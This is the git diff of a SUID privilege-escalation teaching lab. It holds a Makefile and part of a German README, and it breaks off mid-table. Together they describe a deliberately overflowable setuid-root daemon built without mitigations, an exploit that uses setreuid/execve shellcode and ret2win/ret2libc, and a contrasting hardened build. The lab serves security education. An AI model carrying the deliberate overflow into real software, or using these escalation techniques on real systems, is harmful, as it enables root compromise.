Initial commit
This commit is contained in:
commit
394e3be54d
41 changed files with 16315 additions and 0 deletions
15
suid/.gitignore
vendored
Normal file
15
suid/.gitignore
vendored
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
# Build products
|
||||
foosd
|
||||
foosd_hardened
|
||||
foosc
|
||||
shellcode.bin
|
||||
.sc_c_raw.txt
|
||||
.sc_c.txt
|
||||
.sc_asm.txt
|
||||
tests/pty_suid_test
|
||||
|
||||
# Logs are evidence -- keep them out of git but present on disk
|
||||
foosd.log
|
||||
foosd_hardened.log
|
||||
*.log
|
||||
|
||||
314
suid/Makefile
Normal file
314
suid/Makefile
Normal file
|
|
@ -0,0 +1,314 @@
|
|||
# ============================================================================
|
||||
# Makefile -- builds the SUID lab: the vulnerable daemon, its exploit, and
|
||||
# the test harness. Companion to the parent lab's Makefile.
|
||||
# ============================================================================
|
||||
#
|
||||
# make build foosd, foosc and the test harness
|
||||
# make setuid ONE-TIME, needs sudo: gives foosd the setuid bit and a
|
||||
# root owner. THIS is what makes the exploit yield root.
|
||||
# make unsetuid remove the setuid bit again when you are done
|
||||
# make run start foosd on loopback (whatever uid it currently has)
|
||||
# make status report the setuid state of ./foosd
|
||||
# make test technique matrix (works with or without the setuid bit)
|
||||
# make test-suid the matrix with --must-root on the techniques that are
|
||||
# SUPPOSED to escalate (needs `make setuid` first)
|
||||
# make verify prove the bytes in foosc.c equal what shellcode.S makes
|
||||
# make hardened rebuild foosd with all mitigations ON (expect failure)
|
||||
# make test-hardened show which techniques the mitigations kill
|
||||
# make stop stop the daemon
|
||||
# make clean remove build products
|
||||
#
|
||||
# ---------------------------------------------------------------------------
|
||||
# THE SETUID STATE -- the one thing that makes this lab different
|
||||
# ---------------------------------------------------------------------------
|
||||
# A setuid-root binary is `root:root` with the 's' bit in its mode (rwsr-xr-x).
|
||||
# The whole point of this lab is the difference between running `foosd`
|
||||
# WITHOUT that state (exploits land, but the shell is a plain user shell)
|
||||
# and WITH it (shellcode yields uid=0):
|
||||
#
|
||||
# make setuid # needs sudo, once, after any rebuild
|
||||
# make run
|
||||
# make test-suid
|
||||
# make stop
|
||||
# make unsetuid # hygiene: never leave it set
|
||||
#
|
||||
# IMPORTANT BUILD RULE: `make clean` can remove a root-owned binary (delete
|
||||
# permissions come from the DIRECTORY), but recompiling OVER a root-owned
|
||||
# file fails with "Permission denied". So after `make setuid`:
|
||||
# sudo make clean # or: make unsetuid, then make, then make setuid
|
||||
# ============================================================================
|
||||
|
||||
CC ?= gcc
|
||||
CSTD := -std=c99
|
||||
|
||||
# We do NOT use -Werror: the deliberate overflow triggers
|
||||
# -Wstringop-overflow in foosd.c and that warning is supposed to fire.
|
||||
WARN := -Wall -Wextra
|
||||
DBG := -O0 -g
|
||||
|
||||
# --- the vulnerable build -----------------------------------------------------
|
||||
# Same deliberate removals as the parent lab, now with a SUID twist: dropping
|
||||
# the canary, PIE and NX is what makes the techniques reachable, but NONE of
|
||||
# them has anything to do with the +s bit. A hardened build of this same
|
||||
# source is still a SUID binary -- just a harder-to-abuse one.
|
||||
VULN := -fno-stack-protector -no-pie -z execstack
|
||||
|
||||
# --- the hardened build -------------------------------------------------------
|
||||
HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack
|
||||
|
||||
TESTCFLAGS := $(CSTD) $(DBG) $(WARN)
|
||||
|
||||
# Port: kept distinct from the parent lab's 2342 so both can run together.
|
||||
PORT ?= 2343
|
||||
|
||||
all: foosd foosc tests/pty_suid_test
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# The daemon. It becomes SUID later via `make setuid`; the build itself is
|
||||
# ordinary (a setuid bit is a filesystem attribute, not a linker flag).
|
||||
# -----------------------------------------------------------------------------
|
||||
foosd: foosd.c
|
||||
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $<
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# The exploit: mitigations ON (the attacker gains nothing by self-weakening).
|
||||
# -ldl for dlsym(), which measures libc offsets at runtime instead of
|
||||
# hardcoding numbers that break on the next glibc update.
|
||||
# -----------------------------------------------------------------------------
|
||||
foosc: foosc.c
|
||||
$(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl
|
||||
|
||||
tests/pty_suid_test: tests/pty_suid_test.c
|
||||
$(CC) $(TESTCFLAGS) -o $@ $<
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# setuid: install the SUID-root state. Requires root (sudo). After this,
|
||||
# `./foosd` run by ANY user starts with euid 0.
|
||||
#
|
||||
# Note the file must be owned by root AND the surrounding directory must not
|
||||
# be writable by others -- a root-owned SUID binary in a world-writable dir
|
||||
# is itself a classic bug (anyone can replace or relink it as root later).
|
||||
# -----------------------------------------------------------------------------
|
||||
setuid: foosd
|
||||
@echo "=== giving foosd the setuid bit (needs your sudo password)"
|
||||
@sudo sh -c 'chown root:root foosd && chmod u+s foosd && chmod 755 foosd'
|
||||
@echo
|
||||
@ls -l foosd
|
||||
@echo
|
||||
@echo "=== expect the owner 'root' and a mode starting with -rws (the s)."
|
||||
@stat -c 'owner=%U mode=%A' foosd
|
||||
@echo "=== now: make run ; make test-suid"
|
||||
@echo "=== when done: make stop ; make unsetuid"
|
||||
|
||||
unsetuid:
|
||||
@if [ -f foosd ]; then \
|
||||
sudo chmod u-s foosd; \
|
||||
echo "=== setuid bit removed from foosd."; \
|
||||
echo "=== (It may still be owned by root; rebuild with 'make unsetuid && make' \
|
||||
or 'sudo make clean && make'.)"; \
|
||||
stat -c 'owner=%U mode=%A' foosd; \
|
||||
else \
|
||||
echo "=== foosd not built; nothing to do"; \
|
||||
fi
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# status: what state is the binary in? The daemon also reports this in its log
|
||||
# at startup, so this is just a convenience.
|
||||
# -----------------------------------------------------------------------------
|
||||
status:
|
||||
@if [ ! -f foosd ]; then echo "=== foosd is not built yet (make)."; exit 0; fi
|
||||
@owner=$$(stat -c %U foosd); mode=$$(stat -c %A foosd); \
|
||||
echo "=== foosd: owner=$$owner mode=$$mode"; \
|
||||
case "$$mode" in -rws*) \
|
||||
echo "=== SUID state: setuid-root ACTIVE -> shellcode gives root.";; \
|
||||
*) \
|
||||
echo "=== SUID state: not setuid (yet) -> run: sudo make setuid";; \
|
||||
esac
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# run / stop. setsid + nohup + </dev/null are all required so the daemon
|
||||
# survives the invoking shell and never competes with you for the terminal.
|
||||
# -----------------------------------------------------------------------------
|
||||
run: foosd
|
||||
@echo "=== starting foosd on 127.0.0.1:$(PORT)"
|
||||
@setsid nohup ./foosd > foosd.log 2>&1 </dev/null & \
|
||||
disown 2>/dev/null || true
|
||||
@sleep 1
|
||||
@if pgrep -x foosd >/dev/null; then \
|
||||
echo "=== foosd is running (pid $$(pgrep -x foosd | head -1))"; \
|
||||
echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \
|
||||
grep '\[stack\]' /proc/$$(pgrep -x foosd | head -1)/maps; \
|
||||
echo "=== startup log line (uid/euid state):"; \
|
||||
grep startup foosd.log; \
|
||||
else \
|
||||
echo "=== foosd failed to start; see foosd.log"; exit 1; \
|
||||
fi
|
||||
|
||||
stop:
|
||||
@if pgrep -x foosd >/dev/null; then \
|
||||
pkill -x foosd; sleep 0.5; \
|
||||
echo "=== foosd stopped"; \
|
||||
else \
|
||||
echo "=== foosd was not running"; \
|
||||
fi
|
||||
@# Also clean up a leftover hardened daemon; it would hold the port.
|
||||
@if pgrep -x foosd_hardened >/dev/null; then \
|
||||
pkill -x foosd_hardened; sleep 0.5; \
|
||||
echo "=== foosd_hardened stopped"; \
|
||||
fi
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# test: the technique matrix. Works whether or not the setuid bit is set.
|
||||
#
|
||||
# shellcode / ret2win-root are the ESCALATING ones: the Makefile demands
|
||||
# root ("--must-root") -- without the setuid bit
|
||||
# these FAIL, which is the correct answer.
|
||||
# ret2win / ret2libc are the DEMOTED ones: they land a shell, but
|
||||
# bash resets euid=ruid, so root is NOT expected.
|
||||
# The harness is used WITHOUT --must-root, and
|
||||
# the ROOT= line printed tells the truth either
|
||||
# way.
|
||||
#
|
||||
# The verdict is pty_suid_test's EXIT STATUS, never a grep of its output.
|
||||
# -----------------------------------------------------------------------------
|
||||
test: tests/pty_suid_test
|
||||
@fail=0; \
|
||||
echo "=== ret2libc (expect shell, NOT root: the shell resets euid)"; \
|
||||
./tests/pty_suid_test -t ret2libc 2>&1 >/dev/null || fail=1; \
|
||||
echo "=== ret2win (expect shell, NOT root: win() leaves ruid set)"; \
|
||||
./tests/pty_suid_test -t ret2win 2>&1 >/dev/null || fail=1; \
|
||||
echo "=== ret2win-root (expect ROOT shell: win_root() clears ruid)"; \
|
||||
./tests/pty_suid_test -t ret2win-root --must-root 2>&1 >/dev/null || fail=1; \
|
||||
echo "=== shellcode (expect ROOT shell: setreuid+execve)"; \
|
||||
./tests/pty_suid_test -t shellcode --must-root 2>&1 >/dev/null || fail=1; \
|
||||
echo; \
|
||||
if [ $$fail -eq 0 ]; then \
|
||||
echo "=== shellcode and ret2win-root escalated to root."; \
|
||||
echo "=== If you expected this WITHOUT running 'make setuid', note"; \
|
||||
echo "=== that foosd must be setuid-root for euid to be 0."; \
|
||||
else \
|
||||
echo "=== at least one technique did not behave as expected."; \
|
||||
echo "=== Check the ROOT= value above, foosd.log, and README.md."; \
|
||||
fi; \
|
||||
exit $$fail
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# test-suid: the same matrix, but it explicitly checks the setuid state first
|
||||
# so the diagnosis is obvious. Run AFTER sudo make setuid and make run.
|
||||
# -----------------------------------------------------------------------------
|
||||
test-suid: tests/pty_suid_test
|
||||
@if [ ! -u foosd ] || [ "$$(stat -c %U foosd)" != "root" ]; then \
|
||||
echo "!!! foosd is not setuid-root. Run: sudo make setuid"; exit 1; \
|
||||
fi
|
||||
@$(MAKE) --no-print-directory test
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# verify: prove the shellcode bytes in foosc.c are byte-for-byte what nasm
|
||||
# produces from shellcode.S. A hand-maintained hex array and a hand-written
|
||||
# .S file are both easy to get wrong; the diff catches it automatically.
|
||||
# -----------------------------------------------------------------------------
|
||||
verify verify-shellcode: shellcode.S foosc.c
|
||||
@command -v nasm >/dev/null 2>&1 || { \
|
||||
echo "verify-shellcode: nasm is not installed; skipping."; \
|
||||
echo " (Arch: pacman -S nasm)"; exit 0; }
|
||||
@echo "=== Assembling shellcode.S ..."
|
||||
@nasm -f bin -o shellcode.bin shellcode.S
|
||||
@echo "=== nasm output:"
|
||||
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
|
||||
-e 's/[[:space:]]*$$//'
|
||||
@echo
|
||||
@# Pull the hex list out of the C array. Strip the trailing /* */ annotations
|
||||
@# first (they mention hex constants like "0x71"), then grep the literals.
|
||||
@sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' foosc.c \
|
||||
| sed -e 's,/\*.*\*,,' \
|
||||
| grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \
|
||||
| tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \
|
||||
> .sc_c_raw.txt
|
||||
@echo "=== bytes declared in foosc.c's SHELLCODE[] array:"
|
||||
@cat .sc_c_raw.txt
|
||||
@echo
|
||||
@echo "=== comparing ..."
|
||||
@sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt
|
||||
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
|
||||
-e 's/[[:space:]]*$$//' > .sc_asm.txt
|
||||
@if cmp -s .sc_c.txt .sc_asm.txt; then \
|
||||
n=$$(wc -c < shellcode.bin); \
|
||||
echo "MATCH: the $$n bytes in foosc.c are byte-for-byte what"; \
|
||||
echo " shellcode.S assembles to."; \
|
||||
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \
|
||||
else \
|
||||
echo "MISMATCH -- the two differ:"; \
|
||||
diff .sc_c.txt .sc_asm.txt || true; \
|
||||
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \
|
||||
fi
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# hardened: same source, all mitigations ON. Every technique should die at the
|
||||
# canary; the point is the console contrast with the vulnerable build, and the
|
||||
# reminder in README.md that a hardened build is still a SUID binary.
|
||||
# -----------------------------------------------------------------------------
|
||||
hardened: foosd.c
|
||||
$(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o foosd_hardened $<
|
||||
@echo
|
||||
@echo "=== foosd_hardened built with the mitigations ON."
|
||||
@echo "=== Stack segment ('RW' is what you want; 'RWE' would be executable):"
|
||||
@readelf -W -l foosd_hardened | grep GNU_STACK
|
||||
|
||||
# test-hardened: swap the hardened daemon in, show every technique failing,
|
||||
# then put the vulnerable one back exactly as it was.
|
||||
test-hardened: hardened tests/pty_suid_test
|
||||
@if ! pgrep -x foosd >/dev/null; then \
|
||||
echo "=== start the daemon first: make run"; exit 1; \
|
||||
fi
|
||||
@$(MAKE) --no-print-directory stop
|
||||
@echo "### starting foosd_hardened instead"
|
||||
@setsid nohup ./foosd_hardened > foosd_hardened.log 2>&1 </dev/null \
|
||||
& disown 2>/dev/null || true
|
||||
@sleep 1
|
||||
@if ! pgrep -x foosd_hardened >/dev/null; then \
|
||||
echo "!!! foosd_hardened did not start; see foosd_hardened.log"; \
|
||||
$(MAKE) --no-print-directory stop; exit 1; \
|
||||
fi
|
||||
@echo "### stack segment: 'rw-p' (NOT executable) is what you want to see"
|
||||
@grep '\[stack\]' /proc/$$(pgrep -x foosd_hardened | head -1)/maps || true
|
||||
@echo
|
||||
@for t in ret2libc ret2win ret2win-root shellcode; do \
|
||||
echo "=================== $$t"; \
|
||||
if ./tests/pty_suid_test -t $$t 2>&1 >/dev/null; then \
|
||||
echo "--- $$t: got a shell (report the ROOT= line above)"; \
|
||||
else \
|
||||
echo "--- $$t was stopped by the mitigations (as expected)"; \
|
||||
fi; \
|
||||
done
|
||||
@echo
|
||||
@$(MAKE) --no-print-directory stop
|
||||
@echo "### restoring the vulnerable daemon"
|
||||
@setsid nohup ./foosd > foosd.log 2>&1 </dev/null & disown 2>/dev/null || true
|
||||
@sleep 1
|
||||
@echo
|
||||
@echo "=== mitigation contrast is above. See README.md."
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# debug: rebuild for gdb and show the first breakpoints to try.
|
||||
# -----------------------------------------------------------------------------
|
||||
debug: foosd.c
|
||||
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o foosd $<
|
||||
@echo "=== built ./foosd for gdb. Try:"
|
||||
@echo " gdb -q ./foosd"
|
||||
@echo " (gdb) break foosd.c:392 # the read() that overflows"
|
||||
@echo " (gdb) run -p 2343"
|
||||
@echo " (gdb) info registers rsp rbp"
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# clean. NOTE: after `make setuid` the binary is root-owned; rm works (delete
|
||||
# permission lives on the directory) but recompiling over it does not. If make
|
||||
# fails with "Permission denied" here, run `sudo make clean` first.
|
||||
# -----------------------------------------------------------------------------
|
||||
clean:
|
||||
rm -f foosd foosc foosd_hardened shellcode.bin
|
||||
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt
|
||||
rm -f tests/pty_suid_test
|
||||
@echo "=== cleaned. (foosd.log is left alone; it is your evidence.)"
|
||||
|
||||
.PHONY: all setuid unsetuid status run stop test test-suid verify \
|
||||
verify-shellcode hardened test-hardened debug clean
|
||||
406
suid/README.DE.md
Normal file
406
suid/README.DE.md
Normal file
|
|
@ -0,0 +1,406 @@
|
|||
# SUID-Root-RCE-Labor — `foosd` (Daemon) + `foosc` (Exploit)
|
||||
|
||||
Ein Begleiter zum übergeordneten Labor (`food` / `fooc`, ein gewöhnlicher
|
||||
Daemon, bei dem ein Pufferüberlauf eine *Benutzer*-Shell liefert). Dieses fügt
|
||||
die gefährlichste Ein-Zeichen-Änderung in Unix hinzu: das **Setuid-Bit**.
|
||||
|
||||
> `chmod u+s` verwandelt „der Angreifer kann Code auf diesem Host ausführen" in
|
||||
> „der Angreifer kann auf diesem Host Code als **root** ausführen".
|
||||
|
||||
Dieser Satz ist das gesamte Labor. Alles darunter ist der Mechanismus darunter,
|
||||
aufgeschrieben, damit du beim Schreiben eigener Software genau weißt, welche
|
||||
zwei oder drei Dateisystem-Attribute und Compiler-Flags entscheiden, ob ein
|
||||
Speichersicherheitsbug in deinem Code eine Belästigung oder eine Root-Shell ist.
|
||||
|
||||
Die finale Demo, wenn `foosd` setuid-root ist, ist eine **Root-Shell**, die
|
||||
über das Netzwerk geöffnet wird, indem 32 Bytes handgeschriebener Shellcode
|
||||
ausgeführt werden.
|
||||
|
||||
---
|
||||
|
||||
## 1. Was das Setuid-Bit tatsächlich tut
|
||||
|
||||
Jeder Prozess unter Linux trägt drei User-IDs, und das Setuid-Bit bastelt an
|
||||
der Beziehung zwischen ihnen:
|
||||
|
||||
| ID | Name | Bedeutung |
|
||||
|----|------|---------|
|
||||
| `ruid` | reale User-ID | das Konto, das den Prozess *gestartet* hat |
|
||||
| `euid` | effektive User-ID | was der Kernel bei der Durchsetzung von Zugriffsrechten prüft |
|
||||
| (saved) | gespeicherte Set-User-ID | ein „Slot", in den ein privilegierter Prozess später zurückkehren darf |
|
||||
|
||||
Ein normales Programm hat `ruid == euid`. Wenn du ein Binärprogramm mit
|
||||
gesetztem Setuid-Bit ausführst, das root gehört:
|
||||
|
||||
```text
|
||||
ruid = du (z. B. 1000, "hanez")
|
||||
euid = der Besitzer (z. B. 0, "root")
|
||||
```
|
||||
|
||||
Der Prozess hat also **roots Autorität**, obwohl der Benutzer, der ihn
|
||||
gestartet hat, völlig gewöhnlich ist. Jede Prüfung, die der Kernel durchführt —
|
||||
kann dieser Prozess `/etc/shadow` lesen? eine Datei schreiben? einen anderen
|
||||
Prozess töten? — wird mit `euid` beantwortet, d. h. „ja, es ist root".
|
||||
|
||||
`foosd` ist ein Netzwerk-Daemon. Er bindet einen Port und `fork()`t dann pro
|
||||
Verbindung ein Kind. Ein Fork *erbt* die euid, also ist auch jedes Kind, das
|
||||
eine Verbindung behandelt, root. Der Overflow in `foosd`s
|
||||
`vulnerable_handler()` ist daher ein Overflow *in einem Root-Prozess*.
|
||||
|
||||
**Diagnostiziere es selbst, sobald der Daemon läuft:**
|
||||
|
||||
```console
|
||||
$ ./foosd ... # siehe die Log-Zeile beim Start
|
||||
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||
```
|
||||
|
||||
und vom Exploit aus:
|
||||
|
||||
```console
|
||||
$ ./foosc -t leak
|
||||
foosc: target euid=0 ruid=1000
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. Das Labor auf einen Blick
|
||||
|
||||
| Datei | Rolle |
|
||||
|------|------|
|
||||
| `foosd.c` | Der absichtlich angreifbare Daemon (besitzt die Bugs). Für die Root-Shell-Demo als *setuid-root*-Binärprogramm ausführen. |
|
||||
| `foosc.c` | Der Exploit. Standard: die 32-Byte-`setreuid + execve`-Shellcode-Technik. |
|
||||
| `shellcode.S` | Der Referenz-Shellcode; `make verify` vergleicht ihn mit dem Byte-Array in `foosc.c`. |
|
||||
| `tests/pty_suid_test.c` | Test-Harness. Treibt `foosc` durch ein Pseudo-Terminal und beweist sowohl „eine Shell lief" als auch „sie war root" (`uid=0(`). |
|
||||
| `Makefile` | Build, `setuid`/`unsetuid`-Helfer, Test-Matrix. |
|
||||
| `README.md` | Diese Datei. |
|
||||
|
||||
> **Warum eine pty?** Die letzte Aktion des Exploits ist es, dein Terminal an
|
||||
> die Shell weiterzuleiten, die auf dem Opfer läuft. Eine Pipe oder ein
|
||||
> Here-Doc landet am falschen Ende dieser Weiterleitung; ein echtes Terminal
|
||||
> ist erforderlich.
|
||||
|
||||
---
|
||||
|
||||
## 3. Schnellstart
|
||||
|
||||
```console
|
||||
$ make # alles bauen, als dein normaler Benutzer
|
||||
$ make setuid # einmalig, fragt nach sudo: chown root + chmod u+s
|
||||
$ make run # startet foosd auf 127.0.0.1:2343
|
||||
$ make test-suid # volle Matrix; shellcode + ret2win-root müssen root ergeben
|
||||
```
|
||||
|
||||
Interaktiver Smoke-Test:
|
||||
|
||||
```console
|
||||
$ ./foosc -t shellcode
|
||||
...
|
||||
foosc: target euid=0 ruid=1000
|
||||
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root) <-- du bist root, auf dem Opfer
|
||||
# exit
|
||||
```
|
||||
|
||||
Wenn du fertig bist:
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid # Hygiene: nie ein Root-SUID-Binärprogramm liegen lassen
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. *Wann sollte ich das SUID-Bit setzen?* — die Antwort, die du wolltest
|
||||
|
||||
Genau **einmal, nach dem Bauen, vor dem Start des Daemons für die
|
||||
Root-Shell-Demos** — und nur auf einer Maschine, die dir gehört, wegwerfbar und
|
||||
vom Netzwerk getrennt ist:
|
||||
|
||||
```console
|
||||
$ make # kompiliere foosd, foosc, tests
|
||||
$ make setuid # <-- DER Moment. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||
$ make run # starte NACH dem Setzen des Bits
|
||||
```
|
||||
|
||||
Zwei Regeln, die wichtiger sind als der exakte Zeitpunkt:
|
||||
|
||||
1. **Setze es erst, wenn das Binärprogramm final ist.** Wenn du das Bit setzt
|
||||
und danach neu baust (`make` / `make clean`), bekommst du beim Schreiben der
|
||||
root-gehörigen Ausgabedatei ein „Permission denied" — und wenn du den
|
||||
Rebuild erzwingst, erstellt die Toolchain die Datei **ohne** das `s` neu,
|
||||
womit die Einrichtung still rückgängig gemacht wird. Die kanonische
|
||||
Reihenfolge bei jedem Rebuild ist daher
|
||||
|
||||
```console
|
||||
$ make unsetuid && make && make setuid
|
||||
```
|
||||
|
||||
2. **Entferne es, wenn du fertig bist.** `make unsetuid`. Ein lebendes,
|
||||
root-gehöriges Setuid-Binärprogramm mit einem ausnutzbaren Bug in deinem
|
||||
Baum ist kein Lernmittel, sondern ein Root-Loch mit einem Compilefehler
|
||||
zwischen ihm und nirgendwo. Auf einer geteilten oder Produktionsmaschine:
|
||||
**mach davon nichts.** Der Daemon weigert sich außerdem standardmäßig,
|
||||
etwas anderes als Loopback zu binden (siehe §7).
|
||||
|
||||
Wenn du den Exploit *ohne* je gesetztes Bit ausführst, bricht nichts — der
|
||||
Payload landet trotzdem und du bekommst trotzdem eine Shell. Der Unterschied
|
||||
steckt in einer Zahl, und der Exploit sagt sie laut:
|
||||
|
||||
```console
|
||||
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||
The payload will still land, but the shell will be
|
||||
a plain user shell, not root.
|
||||
Fix: sudo make setuid
|
||||
```
|
||||
|
||||
Dieses „funktioniert, aber nicht root" ist selbst Teil des Labors. Behalte es
|
||||
für den nächsten Abschnitt im Kopf.
|
||||
|
||||
---
|
||||
|
||||
## 5. Der Mechanismus — und die Wendung, die SUID interessant macht
|
||||
|
||||
### 5.1 Der Overflow (identisch zu `food`)
|
||||
|
||||
`foosd`s Handler gibt einem `read()` 512 Bytes Vertrauen, während er ihm einen
|
||||
64-Byte-Stack-Puffer reicht:
|
||||
|
||||
```c
|
||||
char buf[64];
|
||||
n = read(fd, buf, 512); /* <- CWE-120: 448 Bytes über die Kante */
|
||||
```
|
||||
|
||||
Auf x86-64 wächst der Stack nach unten. Der Exploit schreibt 64 Bytes Müll, um
|
||||
`buf` zu füllen, 8, um den gespeicherten Frame-Pointer zu füllen, und 8 mehr,
|
||||
um die **gespeicherte Rücksprungadresse** zu ersetzen. Wenn
|
||||
`vulnerable_handler` das `ret` ausführt, poppt die CPU den Wert des Angreifers
|
||||
in `RIP` — vom Angreifer kontrollierte Codeausführung. Der Exploit ermittelt
|
||||
den exakten Abstand (88 Bytes für diesen Build), indem er die `objdump`-Ausgabe
|
||||
parst, statt ihn hart zu verdrahten, sodass die Zahl Rebuilds überlebt.
|
||||
|
||||
### 5.2 Die Wendung: Die Shell weigert sich, root zu sein
|
||||
|
||||
Hier geht „SUID-Bug → /bin/sh spawne → root" fehl, und das ist der Grund,
|
||||
warum dieses Labor genau diese Form hat.
|
||||
|
||||
Wenn ein setuid-root-Programm läuft, ist sein `ruid` immer noch der
|
||||
startende Benutzer und sein `euid` ist root. Wenn das Programm — oder der
|
||||
Angreifer — jetzt eine Shell startet:
|
||||
|
||||
* `execve("/bin/sh")` ändert die uids **nicht**; der neue Prozess erbt
|
||||
`(ruid=1000, euid=0)`.
|
||||
* bash (und dash) **prüfen genau diese Bedingung beim Start**. Aus dem
|
||||
bash-Handbuch: *„If the shell is started with the effective user (group) id
|
||||
not equal to the real user (group) id, and the -p option is not supplied, …
|
||||
the effective user id is set to the real user id."*
|
||||
|
||||
Die Shell wirft also einen Blick auf sich selbst und *lässt root fallen* — eine
|
||||
Verteidigung, die die Shell-Autoren genau gegen diesen Angriff gebaut haben
|
||||
(die historische Rechtfertigung war das Setuid-Shell-/Setuid-Skript-Problem).
|
||||
Das Ergebnis sind die „funktioniert, aber nicht root"-Fälle:
|
||||
|
||||
| Technik | Was sie ausführt | Resultierende uid |
|
||||
|-----------|------------------|---------------|
|
||||
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — Shell gelandet, root von bash zurückgesetzt |
|
||||
| `ret2libc` | `system("/bin/sh")` → frisches `sh -c '/bin/sh'` | **1000** — gleiches Zurücksetzen, eine Ebene tiefer |
|
||||
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid aus C heraus geleert |
|
||||
| `shellcode` | 32 Bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid aus Maschinencode geleert |
|
||||
|
||||
Die beiden, die root erreichen, unterscheiden sich von den beiden, die es
|
||||
nicht tun, um genau eine Idee: **sie leeren die *reale* uid, nicht nur die
|
||||
effektive.**
|
||||
|
||||
```c
|
||||
setuid(0) /* setzt euid auf 0, aber ruid bleibt 1000:
|
||||
bash sieht weiterhin euid != ruid und setzt IMMER NOCH
|
||||
zurück. */
|
||||
setreuid(0, 0) /* setzt BEIDE: ruid = euid = 0.
|
||||
bash sieht gleiche uids und behält root. */
|
||||
```
|
||||
|
||||
Deshalb beginnt der klassische `/bin/sh`-Shellcode, den du überall im Internet
|
||||
findest, mit einem uid-leerenden Syscall — und deshalb ist der Shellcode hier
|
||||
32 Bytes statt 23: Die ersten fünf Anweisungen sind
|
||||
|
||||
```asm
|
||||
xor edi, edi ; ruid = 0
|
||||
xor esi, esi ; euid = 0
|
||||
push 0x71 ; 113 = __NR_setreuid
|
||||
pop rax
|
||||
syscall
|
||||
```
|
||||
|
||||
### 5.3 Also, was ist der Exploit Ende-zu-Ende?
|
||||
|
||||
1. `foosc` liest `foosd`s Banner über den Socket. Es bekommt:
|
||||
- `ids=0/1000` — euid/ruid (die SUID-Selbstdiagnose)
|
||||
- `stack=…` und `libc=…` — Pointer (die ASLR-Leaks)
|
||||
- `BUF=…` — die exakte Adresse des Puffers, den es gleich überlaufen lässt
|
||||
2. Aus dem Ziel-Binärprogramm (via `objdump`) lernt es `rip_off` und die
|
||||
Adressen von `win()` / `win_root()`.
|
||||
3. Aus *seiner eigenen* libc (via `/proc/self/maps` + `dlsym` + einen
|
||||
Speicherscan) misst es die Offsets von `system`, `read`, `/bin/sh` und
|
||||
eines `pop rdi; ret`-Gadgets — nichts ist hart verdrahtet.
|
||||
4. Es setzt den Payload zusammen. Für `-t shellcode` ist das:
|
||||
`[32-Byte-setreuid+execve-Code][Padding bis RIP][ret-Fix][Adresse von buf]`.
|
||||
5. `foosd`s `read()` läuft über; `ret` landet auf dem Shellcode; der Kernel
|
||||
führt `setreuid(0,0)` aus (ok: euid 0 ist privilegiert) und danach `execve`
|
||||
von `/bin/sh`. bash startet mit `ruid == euid == 0` und bleibt root.
|
||||
6. `foosc` leitet dein Terminal an diese Root-Shell weiter, bis du `exit`
|
||||
tippst.
|
||||
|
||||
Ein Details zur Absicherung, das Leute viel Zeit kostet, wenn es übersehen
|
||||
wird: Der Exploit testet jedes uid-leerende Verhalten **ohne** das benötigte
|
||||
Setuid-Bit zuerst. Führe `make test` vor `make setuid` aus, und du siehst jede
|
||||
Technik eine Shell landen, während `ROOT=MISSING` dasteht; führe `make
|
||||
test-suid` nach `make setuid` aus, und `ROOT=SEEN` erscheint bei den zwei
|
||||
Techniken, die die reale uid leeren. Dieses A/B ist die ganze Lektion,
|
||||
ausführbar in zehn Sekunden.
|
||||
|
||||
---
|
||||
|
||||
## 6. Die alten Einzeiler — und warum die meisten von ihnen tot sind
|
||||
|
||||
Wenn du über SUID gelesen hast, hast du über `PATH`-Hijacking, `LD_PRELOAD`
|
||||
und Setuid-Shells gelesen. Alle drei sind klassisch, und alle drei scheitern
|
||||
auf einem modernen System gegen *dieses Programm*. Es lohnt sich, genau zu
|
||||
wissen, warum, denn die Gründe sind die Verteidigungen, die du gratis
|
||||
bekommst:
|
||||
|
||||
| Angriffsklasse | Alte Behauptung | Warum sie auf einem modernen Rechner scheitert |
|
||||
|--------------|-----------|------------------------------|
|
||||
